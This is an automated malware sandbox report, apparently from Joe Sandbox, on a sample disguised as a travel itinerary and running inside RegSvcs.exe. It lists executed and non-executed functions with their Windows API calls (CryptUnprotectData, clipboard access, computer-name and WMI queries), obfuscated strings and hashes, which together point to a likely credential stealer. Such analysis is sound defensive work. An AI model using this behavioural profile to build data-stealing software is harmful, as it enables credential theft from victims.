memcpy.VCRUNTIME140(00000000,?,?), ref: 00662DDB
memcpy.VCRUNTIME140(00000000,?,?,00000000,?,?), ref: 00662DE6

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 155595a6eb0dae2662590eb88d9bcc43fb1d05a3c682b0a56f855948e4927502
Instruction ID: 3862e14d65335713ddf4f41e934a776d11ad3d70e5e16214216e841ca8e3c647
Opcode Fuzzy Hash: 155595a6eb0dae2662590eb88d9bcc43fb1d05a3c682b0a56f855948e4927502
Instruction Fuzzy Hash: B021C371504211AFC704EF28C88196BBBEAFFC9310F104A6DF4519B346DB71E9058BA6

Analysis Process: RegSvcs.exePID: 6748, Parent PID: 6920COMMON

Execution Graph

Execution Coverage:	8.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	38.5%
Total number of Nodes:	314
Total number of Limit Nodes:	8

Executed Functions

Function 00437DF0 Relevance: 28.6, APIs: 11, Strings: 5, Instructions: 640
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044168C,00000000,00000001,0044167C,00000000), ref: 00438034
SysAllocString.OLEAUT32()\"^), ref: 004380C3
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438101
SysAllocString.OLEAUT32()\"^), ref: 0043817E
SysAllocString.OLEAUT32()\"^), ref: 00438238
VariantInit.OLEAUT32(C7C6C5CC), ref: 004382A8
VariantClear.OLEAUT32(?), ref: 004383F9
SysFreeString.OLEAUT32(?), ref: 0043841D
SysFreeString.OLEAUT32(?), ref: 00438423
SysFreeString.OLEAUT32(00000000), ref: 00438430
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,66966446,00000000,00000000,00000000,00000000), ref: 00438468

Strings

pq, xrefs: 004382E2
)\"^, xrefs: 004380BE, 004380C2, 0043817D, 00438237, 0043845B
.H4J, xrefs: 0043805A
O@, xrefs: 0043806A
P%R, xrefs: 0043804A

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: P%R$)\"^$.H4J$O@$pq
API String ID: 2573436264-1397720406
Opcode ID: cd14e05d7432ded1bf926f32cda1f224496113c88b4519bc978cba4cd539789a
Instruction ID: 8d1c6a9ba2bf63fa8fe487279597ba15b590cfaf954231a8494ef46f424a72d4
Opcode Fuzzy Hash: cd14e05d7432ded1bf926f32cda1f224496113c88b4519bc978cba4cd539789a
Instruction Fuzzy Hash: D022EFB2A483418BD314CF25C880B5BBBE5EFC9704F148A2DF5919B381E779D909CB96

Function 00423860 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 501
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

{\}, xrefs: 00423E3E
A[, xrefs: 00423D14
WE, xrefs: 00423D04
OU, xrefs: 00423CFC
Fg)i, xrefs: 00423E56
7N1@, xrefs: 00423ED0, 00423EE1
/G$I, xrefs: 00423E16

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: /G$I$7N1@$A[$Fg)i$OU$WE${\}
API String ID: 0-1763234448
Opcode ID: 99fe5afda1dcc440005955b3418fa216d89817fb1a5d97e426eeaa65bb2ccc37
Instruction ID: 056ee81575811c50f3dd50ebd9ce003cf240713406730f881528123b83eb6744
Opcode Fuzzy Hash: 99fe5afda1dcc440005955b3418fa216d89817fb1a5d97e426eeaa65bb2ccc37
Instruction Fuzzy Hash: 2AF1CAB56083509FD3108F65E88276BBBF2FBD2345F54892DF0858B390D7B88906CB86

Function 00415799 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 492
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00415BAF

Strings

X, xrefs: 00415DD2
NDNK, xrefs: 00415D85
~, xrefs: 0041596E
oA&C, xrefs: 00415CE6
RXA, xrefs: 00415842
8MNO, xrefs: 00415C36
<I2K, xrefs: 00415C2B

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: 8MNO$<I2K$NDNK$RXA$X$oA&C$~
API String ID: 834300711-3328159043
Opcode ID: 7d14a55b692df4f7a5a1489c3381dac725c5f5ca9d3437b0e32695eadac0db18
Instruction ID: b39a018424f603aff0b8ca9a117b68807cb953dc34c5f22e55a732b949ac1150
Opcode Fuzzy Hash: 7d14a55b692df4f7a5a1489c3381dac725c5f5ca9d3437b0e32695eadac0db18
Instruction Fuzzy Hash: 90F125B6608740CFC720CF29D8817EBB7E1AFD5314F194A2EE4D997251EB389845CB86

Function 00409580 Relevance: 9.2, Strings: 7, Instructions: 442
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#4<7, xrefs: 00409772
A77306176BBFA58DAC8923850305D13E, xrefs: 00409642
+8=>, xrefs: 00409782
r, xrefs: 004095F4
PK, xrefs: 004099E1
Tiec, xrefs: 00409963
\, xrefs: 0040978A

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: #4<7$+8=>$A77306176BBFA58DAC8923850305D13E$PK$Tiec$\$r
API String ID: 0-3296707182
Opcode ID: 8a87d060594a504fb9fb2c8fb36e58836b617313b2e0b34c62a439b04e6c237f
Instruction ID: 6053270823643479f5a9008bd7dab94ee1cb24749ea6a1c2bb59c6b2eb0b3cac
Opcode Fuzzy Hash: 8a87d060594a504fb9fb2c8fb36e58836b617313b2e0b34c62a439b04e6c237f
Instruction Fuzzy Hash: 29D12476A087409BD318CF35C85166BBBE2EBD1318F18893DE5E69B391D738C905CB46

Function 00408850 Relevance: 7.7, APIs: 5, Instructions: 194
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 0040891C
GetCurrentThreadId.KERNEL32 ref: 00408925
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004089DB
GetForegroundWindow.USER32 ref: 00408A33

Part of subcall function 0040C550: CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C563

Part of subcall function 0040B390: FreeLibrary.KERNEL32(00408AB8), ref: 0040B396
Part of subcall function 0040B390: FreeLibrary.KERNEL32 ref: 0040B3B7

ExitProcess.KERNEL32 ref: 00408AD1

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundInitializePathSpecialThreadWindow
String ID:
API String ID: 3072701918-0
Opcode ID: 80d43e03976d674c32d86d2947b6f6748d05092d2929b392bf544b78baad5a14
Instruction ID: 4e8ceca9db94e69365d2c2d7f1aefafb9de861df3649afd20bfce81a3928f3be
Opcode Fuzzy Hash: 80d43e03976d674c32d86d2947b6f6748d05092d2929b392bf544b78baad5a14
Instruction Fuzzy Hash: 9351A9BBF102180BD71CAEAACD463A675878BC5710F1F813E5985EB7D6EDB88C0142C9

Function 0042DA53 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042DA87
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042DB5D

Strings

0K), xrefs: 0042DF19
4*VP, xrefs: 0042DF24

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: ComputerName
String ID: 0K)$4*VP
API String ID: 3545744682-3626284114
Opcode ID: 7f9184ee53db8657b7211f9213731764c2e24f7097ca2d92dc8b3e88ab6ab3dd
Instruction ID: 79d6e082e0491a4045e5b840a95bb4df230d34c241beba690eb3c8ed7007ce5a
Opcode Fuzzy Hash: 7f9184ee53db8657b7211f9213731764c2e24f7097ca2d92dc8b3e88ab6ab3dd
Instruction Fuzzy Hash: 8FD12730A1C3D08ED7258F3994507ABBFE19FA7314F59896ED4C98B382C7798406CB66

Function 0043C1F0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043E31B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043C21E

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043C767 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

,+*), xrefs: 0043C790

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: ,+*)
API String ID: 0-3529585375
Opcode ID: e7fb2fe7fc15d814734d125e3abc6185c50616f6403d63d9b463f0ac7ddf630e
Instruction ID: 95b520c28a51d7a8debe208fb8c6725e065a55489a7142fefcc330b3f2274472
Opcode Fuzzy Hash: e7fb2fe7fc15d814734d125e3abc6185c50616f6403d63d9b463f0ac7ddf630e
Instruction Fuzzy Hash: 7331A539B402119BEB18CF58CCD1BBEB7B2BB49301F249129D501B7390CB75AD018B58

Function 0040B70C Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

o`, xrefs: 0040B74B

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: o`
API String ID: 0-3993896143
Opcode ID: 62f776dcc95a1318bd9c29a2d25ade0fb881a9597666cacb70b5fb249bcdf744
Instruction ID: 0bdba0f6bf2b5cd18ae264ba298f37260da84434396a298b3053f459174327b1
Opcode Fuzzy Hash: 62f776dcc95a1318bd9c29a2d25ade0fb881a9597666cacb70b5fb249bcdf744
Instruction Fuzzy Hash: 9C11C270218340AFC310DF65DDC1B6BBFE2DBC2204F65983DE185A72A1C675E9499719

Function 0043ECA0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7757ad35b4d3f19014e5b0218f9aa537273a9f10abc5234e4bd6fc32e4c2e1b2
Instruction ID: cf6a0fb400f3c0121e69896af41eb3d2a2b4280c5d577effd33442f2baf9bc8c
Opcode Fuzzy Hash: 7757ad35b4d3f19014e5b0218f9aa537273a9f10abc5234e4bd6fc32e4c2e1b2
Instruction Fuzzy Hash: CB81AE326053019BC7249F29C85067FB3A2FFC8710F2AD42DE9868B395EB349C52D785

Function 00433CDF Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00433D17
GetSystemMetrics.USER32 ref: 00433D26

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 5f2d3bb2bc73d9fb24c3e71e22e052d5e824def969419b7e1f909697d2eb3c0f
Instruction ID: cb1e3e37586d9a4509bd606a09fc72fdf1ec5b4aeb0744265bd1e649f6a723a7
Opcode Fuzzy Hash: 5f2d3bb2bc73d9fb24c3e71e22e052d5e824def969419b7e1f909697d2eb3c0f
Instruction Fuzzy Hash: 2211AFF4D142188FDB40EF7CD98569DBBF4AB49304F10442AE498E7360E774A9988F86

Function 0042E4A9 Relevance: 1.6, APIs: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042E5D8

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: d676d3cf378bce22c63fcc0d702ca03e1329d21923194e356a21209e6313a188
Instruction ID: bada183498579cd0d1e1b9560e2ec57dcdd73a114042e6aef25e130bccfe5e33
Opcode Fuzzy Hash: d676d3cf378bce22c63fcc0d702ca03e1329d21923194e356a21209e6313a188
Instruction Fuzzy Hash: C721297251C39089D735CB368810BEBBBE29FD6308F49CCADC4C847242E7794585C79A

Function 00436145 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00436165

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: c20870ad1c2550df031d9ae96be031c5a683c54f8c490753efcc1857bb42eeb8
Instruction ID: 741c48333e69648009e785c6466c575ff7d71c05fd411e4f0ced63eefbf4b49a
Opcode Fuzzy Hash: c20870ad1c2550df031d9ae96be031c5a683c54f8c490753efcc1857bb42eeb8
Instruction Fuzzy Hash: 86115B32D052968FDB14CB3C8C502ADBFB15F8A320F1983EDD8A5A33D5D9304E428B51

Function 0043C2C8 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043CCAF

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ee62edd4f90ceb3851fb76d6bb2596050db7060e58c86fce7ad8149e0838c105
Instruction ID: 8fb46afbfb550afb85baefcd5c24b2e1a72551ea741637eac68a3138d718cba2
Opcode Fuzzy Hash: ee62edd4f90ceb3851fb76d6bb2596050db7060e58c86fce7ad8149e0838c105
Instruction Fuzzy Hash: 07F04CBAD005408BDB044B75CC821A67BA2DB5F320B18897DD441E3384C63C5807CB5D

Function 0043C180 Relevance: 1.5, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,00000000,?,?,0040B2E4,00000000,00000001), ref: 0043C1B2

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d479befdbac128fe149772a9185de956813756a2e3e272a70dac7c9e8d919251
Instruction ID: ec0cbf63999808cd9fde2cf832404b9ab0848eb4eaaead86bc709d6aa026588d
Opcode Fuzzy Hash: d479befdbac128fe149772a9185de956813756a2e3e272a70dac7c9e8d919251
Instruction Fuzzy Hash: 59F0E977808211EBD2003F257C01A5736649F8F735F01587AFC0152112D739D422E6AF

Function 0043169A Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004316E1

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 398b2808b458341c98a87bf67e0231988ff1e1ff89b83f4d85f076abaf8bf248
Instruction ID: 88ab58616cf1dac6cba617d780c76543ffdeb80aa514c7c7d0db7b6f6353d972
Opcode Fuzzy Hash: 398b2808b458341c98a87bf67e0231988ff1e1ff89b83f4d85f076abaf8bf248
Instruction Fuzzy Hash: 0FF09EB8509342CFD394DF64C5A875BBBE0EB89348F01891CE4998B391DBB59548CF82

Function 00430469 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004304AC

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: c776e90b0c9c6af7e86a6e6b759a0e1348666aeaad21731c063a5846b902e991
Instruction ID: d25a5440729caa6a4a41176679ca809818bf9cac461bb09e9bc77660d505e8e6
Opcode Fuzzy Hash: c776e90b0c9c6af7e86a6e6b759a0e1348666aeaad21731c063a5846b902e991
Instruction Fuzzy Hash: 56F0D4B45093019FD314DF29D16871ABBF4FB88304F01991CE49ACB790C7B5AA48CF82

Function 0040C550 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C563

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 6fc60a274ed566bab613781af0777c43ce176e621231eb36fbaf2a6aedf8035e
Instruction ID: e03bcfaf696d6c281ff3d22d3b8d0c31e3889364fa9117d67ae1079de8c3c82d
Opcode Fuzzy Hash: 6fc60a274ed566bab613781af0777c43ce176e621231eb36fbaf2a6aedf8035e
Instruction Fuzzy Hash: 43D0A7B557050867D2086B1DDC4BF22772C8B83B66F50423DF2A7C61D1D9506A14CA79

Function 0040C583 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C595

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 49e86824338073915e330635472e4cd66e95047cd3c20be69d528b314b786c07
Instruction ID: 58e2b5502705141ff0d3aa7c975cc0701997441b8ab7d7d43dac110591522243
Opcode Fuzzy Hash: 49e86824338073915e330635472e4cd66e95047cd3c20be69d528b314b786c07
Instruction Fuzzy Hash: F1D0C9B47D83407AF5749B08AC17F143210A702F56F740228B363FE2E0C9E172018A0C

Function 0043AAA0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043C1D6,?,0040B2E4,00000000,00000001), ref: 0043AABE

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 6bd8f6e4c03da58ea1ddb055db28ee6a0cd2fda4e2937b11b34eec233391d5a2
Instruction ID: 16971ee2c2e030bf17817a0d81dc477e65560ccac1e7abaabcdfe7fdc6775186
Opcode Fuzzy Hash: 6bd8f6e4c03da58ea1ddb055db28ee6a0cd2fda4e2937b11b34eec233391d5a2
Instruction Fuzzy Hash: B2D01231505522EBC6102F25FC06B863A58EF0E761F0748B1B4006B071C765ECA186D8

Function 0043AA80 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,0043C1C0), ref: 0043AA90

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 733e1922efac4f9a0d584a8944a64cd40278d35b25fcdbd161a554f2c268bb95
Instruction ID: 72b53a506d10aa35cab301047588232e26feb19e762ad2a100d4e8a4b6eb39e1
Opcode Fuzzy Hash: 733e1922efac4f9a0d584a8944a64cd40278d35b25fcdbd161a554f2c268bb95
Instruction Fuzzy Hash: D6C09231445220BBCA143B16FC09FCA3F68EF4D762F0244A6F514670B2CB61BCA2CAD8

Non-executed Functions

Function 00426B50 Relevance: 30.2, APIs: 1, Strings: 16, Instructions: 439COMMON

Download Yara Rule

Strings

w?n!, xrefs: 004272DD
U'g), xrefs: 004272F3
{7y9, xrefs: 004272C7
;[0], xrefs: 0042732A
FOEH, xrefs: 0042771E
!, xrefs: 00427452
bweM, xrefs: 004276F0
*W.Y, xrefs: 0042731F
EG, xrefs: 0042740B
l+X-, xrefs: 004272FE
>C7E, xrefs: 00427340
+K!M, xrefs: 00427356
UGBY, xrefs: 00427708
$&, xrefs: 004275AF
NO, xrefs: 00427361
g#X%, xrefs: 004272E8

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: !$*W.Y$+K!M$;[0]$>C7E$FOEH$NO$U'g)$UGBY$bweM$g#X%$l+X-$w?n!${7y9$$&$EG
API String ID: 0-3492884535
Opcode ID: 5e16a26193487a4bdaa5a93cbbb181080dd0d43d457804532e7adee19b2f1ec1
Instruction ID: ba39798a3fcb6da663dd5afd8d89a9a5fc3f4f782173f0556435d4ff5b4d5338
Opcode Fuzzy Hash: 5e16a26193487a4bdaa5a93cbbb181080dd0d43d457804532e7adee19b2f1ec1
Instruction Fuzzy Hash: A3E10EB4608350CFD7249F25E85176FBBF2FB86304F45896DE5D88B252D7388906CB4A

Function 0041CB40 Relevance: 10.7, Strings: 8, Instructions: 658COMMON

Download Yara Rule

Strings

xy, xrefs: 0041D23E
SV, xrefs: 0041CF29
qr, xrefs: 0041D063
p8`;, xrefs: 0041CDBD
Q, xrefs: 0041CF39
0u4w, xrefs: 0041D236
_q, xrefs: 0041D1C5
KT, xrefs: 0041CF31

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: 0u4w$KT$Q$SV$_q$p8`;$qr$xy
API String ID: 0-1826372655
Opcode ID: de28215cb72b44d1e1dae71e7b93e978bf7f5bc1ac385d0b989c0c45dd6a48be
Instruction ID: 8fe2ea29b4499c84cffcf606e05d59b8c59937f8b413fb95e2f4cb334fca5623
Opcode Fuzzy Hash: de28215cb72b44d1e1dae71e7b93e978bf7f5bc1ac385d0b989c0c45dd6a48be
Instruction Fuzzy Hash: C92212B690C3109BD304DF59D8816ABB7E2EFD5314F09892DE8C98B351E739C905CB8A

Function 00419F30 Relevance: 10.4, APIs: 2, Strings: 3, Instructions: 1664COMMON

Download Yara Rule

APIs

Part of subcall function 0043C1F0: LdrInitializeThunk.NTDLL(0043E31B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043C21E

FreeLibrary.KERNEL32(?), ref: 0041A6BD
FreeLibrary.KERNEL32(?), ref: 0041A77B

Strings

/,-, xrefs: 0041A991
/ , xrefs: 0041A402
46, xrefs: 0041A3EA

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: / $/,-$46
API String ID: 764372645-479303636
Opcode ID: cfab914b501d8a8cf1708b7d993028f7dd60ead683b03e6467ea9e1f6c8d91ba
Instruction ID: fba97bcbe2fd55ed4e85c885b06b17ae8f82464d9f69d288493d133838553020
Opcode Fuzzy Hash: cfab914b501d8a8cf1708b7d993028f7dd60ead683b03e6467ea9e1f6c8d91ba
Instruction Fuzzy Hash: 9EB247766493009FE3208BA5D8847ABBBD2EBC5310F18D42EE9D497311D7789C858B9B

Function 004329C0 Relevance: 9.1, APIs: 6, Instructions: 144clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004329E2
GetClipboardData.USER32 ref: 00432A05
GlobalLock.KERNEL32 ref: 00432A22
GlobalUnlock.KERNEL32 ref: 00432B6B
CloseClipboard.USER32 ref: 00432B73

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 62f3a4270cdee086724bceffc210ad3ff0b6d52f738edb6c1f0dd5dd3d126aa6
Instruction ID: f2decc6a1db23371b8bb2cc1877cdad688787675f84f74fde2292b1bd35bf902
Opcode Fuzzy Hash: 62f3a4270cdee086724bceffc210ad3ff0b6d52f738edb6c1f0dd5dd3d126aa6
Instruction Fuzzy Hash: 855102F1D08A828FD700AF78C54936EFFA0AB15310F04863ED89597392D3BCA9598797

Function 00408F50 Relevance: 9.0, Strings: 7, Instructions: 223COMMON

Download Yara Rule

Strings

x|j~, xrefs: 0040904D
(, xrefs: 00409065
|$Nb, xrefs: 00409025
wkw6, xrefs: 00409045
jqci, xrefs: 0040901D
ye{|, xrefs: 00409035
z/6q, xrefs: 0040903D

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: ($jqci$wkw6$x|j~$ye{|$z/6q$|$Nb
API String ID: 0-2309992716
Opcode ID: fd7fa187f6c051c069b61ec8393945a68ebd5901bcbcecc092057dec6910dd98
Instruction ID: 26eceaee55227743b306782b87e7b3b011f3ad886b5b359efa5fd428808e0ec2
Opcode Fuzzy Hash: fd7fa187f6c051c069b61ec8393945a68ebd5901bcbcecc092057dec6910dd98
Instruction Fuzzy Hash: F661F37164D3C68AD3118F3988A076BFFE09FA3310F18497EE4D05B382D7798A09975A

